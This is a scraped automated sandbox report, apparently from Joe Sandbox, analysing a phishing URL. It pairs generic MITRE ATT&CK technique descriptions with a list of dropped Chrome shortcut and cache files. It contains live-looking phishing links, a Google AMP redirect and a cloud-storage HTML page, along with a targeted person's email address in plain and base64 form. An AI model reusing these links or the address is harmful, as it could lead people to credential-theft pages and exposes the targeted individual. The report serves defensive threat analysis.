Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O	HTTP Parser: No favicon
Source: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/nwfkh03tev.html?e=amromano@steinborn.com	HTTP Parser: No favicon
Source: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/nwfkh03tev.html?e=amromano@steinborn.com	HTTP Parser: No favicon

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Windows Analysis Report
https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==